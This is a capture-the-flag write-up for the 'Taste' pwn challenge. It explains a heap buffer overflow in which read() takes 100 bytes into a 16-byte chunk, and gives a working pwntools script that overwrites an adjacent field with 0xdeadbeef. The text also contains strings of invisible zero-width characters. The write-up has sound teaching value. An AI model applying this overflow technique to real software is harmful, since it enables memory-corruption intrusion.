← Back to Writeups
CUSTOMEasypwn

Taste

XESXOR9/2/20264 min read
#pwn#custom#easy#chunk_layout_analysis#heap_buffer_overflow#structure_overwrite#linux

Taste

Platform: grodno_new_year_2026 | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: chunk_layout_analysis, heap_buffer_overflow, structure_overwrite

Summary

Task: Binary that allocates a 16-byte name buffer and an adjacent 8-byte check structure on the heap, reading 100 bytes into the name. Solution: Overflowed the heap buffer with 36 bytes of padding to reach the check structure's field2, then wrote 0xdeadbeef to pass the magic value comparison and trigger flag printing.

Taste - Grodno New Year 2026 CTF

Challenge Info

FieldValue
EventGrodno New Year 2026
Task ID393
CategoryPwn
DifficultyEasy
Points486
Servernc ctf.mf.grsu.by 9071

Description

Максим утверждает, что он жив и полон сил. Но внутри он уже давно мертв. Вам осталось только это подтвердить.

(Maxim claims that he is alive and full of energy. But inside, he has been dead for a long time. All you have to do is confirm it.)

Files Provided

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • taste - ELF 64-bit binary
  • libc.so.6 - libc library
  • ld-linux-x86-64.so.2 - dynamic linker

Analysis

Binary Security

$ checksec taste
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)

Key observations:

  • No PIE - Fixed addresses, easy to exploit
  • No canary - Stack overflow possible (not needed here)
  • Partial RELRO - GOT overwrite possible (not needed here)

Vulnerability Analysis

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The binary contains a classic heap buffer overflow vulnerability:

c
// Pseudocode from reverse engineering
char *name = malloc(0x10);      // 16 bytes allocated
struct check *c = malloc(0x8);  // 8 bytes allocated
c->field1 = 1;
c->field2 = 0;

printf("Enter name:");
read(0, name, 0x64);            // BUG: reads 100 bytes into 16-byte buffer!

if (c->field2 == 0xdeadbeef) {
    print_flag();
}

The vulnerability is clear:

  1. name buffer is only 16 bytes
  2. read() accepts up to 100 bytes (0x64)
  3. The check structure is allocated right after name on the heap
  4. Overflow from name can overwrite check->field2 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Heap Layout

Understanding glibc malloc chunk layout is crucial:

+------------------+
| name chunk       |
+------------------+
| 0x00-0x0F: data  | <- 16 bytes for name
+------------------+
| 0x10-0x17: pad   | <- 8 bytes padding/alignment
+------------------+
| check chunk hdr  |
+------------------+
| 0x18-0x1F: hdr   | <- malloc chunk header (prev_size + size)
+------------------+
| 0x20-0x23: f1    | <- check->field1 (4 bytes) = 1
| 0x24-0x27: f2    | <- check->field2 (4 bytes) = 0 (TARGET!)
+------------------+

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Offset calculation:

  • name buffer: 16 bytes (0x00-0x0F)
  • padding: 8 bytes (0x10-0x17)
  • chunk header: 8 bytes (0x18-0x1F)
  • field1: 4 bytes (0x20-0x23)
  • field2 at offset 36 (0x24)

Solution

Exploit Strategy

  1. Send 36 bytes of padding to reach field2
  2. Append 0xdeadbeef in little-endian format
  3. The check passes, print_flag() is called

Exploit Code

python
#!/usr/bin/env python3
from pwn import *

def exploit():
    # Connect to remote server
    p = remote('ctf.mf.grsu.by', 9071)
    
    # Wait for prompt
    p.recvuntil(b'Enter name:')
    
    # Build payload:
    # - 36 bytes padding to reach check->field2
    # - 0xdeadbeef in little-endian (magic value)
    payload = b'A' * 36 + p32(0xdeadbeef)
    
    # Send payload
    p.sendline(payload)
    
    # Receive flag
    response = p.recvall(timeout=3)
    print(f"Response: {response.decode()}")
    
    p.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    exploit()

Execution

$ python3 solve.py
[+] Opening connection to ctf.mf.grsu.by on port 9071: Done
[+] Receiving all data: Done (32B)
[*] Closed connection to ctf.mf.grsu.by port 9071
Response: grodno{REDACTED}

Key Takeaways

Indicators for This Technique

Use heap buffer overflow when you see:

  • malloc() followed by read()/gets()/scanf() with size mismatch
  • Adjacent heap allocations with sensitive data
  • Magic value comparisons after user input
  • No bounds checking on input ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Heap Exploitation Basics

  1. Chunk layout matters - Adjacent allocations are predictable
  2. Metadata overhead - Each chunk has 8-16 bytes of header
  3. Alignment - glibc aligns to 16 bytes on x86_64
  4. Overflow direction - Lower addresses overflow into higher addresses

Similar Challenges

This is a classic "baby heap" challenge pattern:

  • Allocate buffer A
  • Allocate structure B with important field
  • Overflow A to corrupt B
  • Trigger check on B's corrupted field

References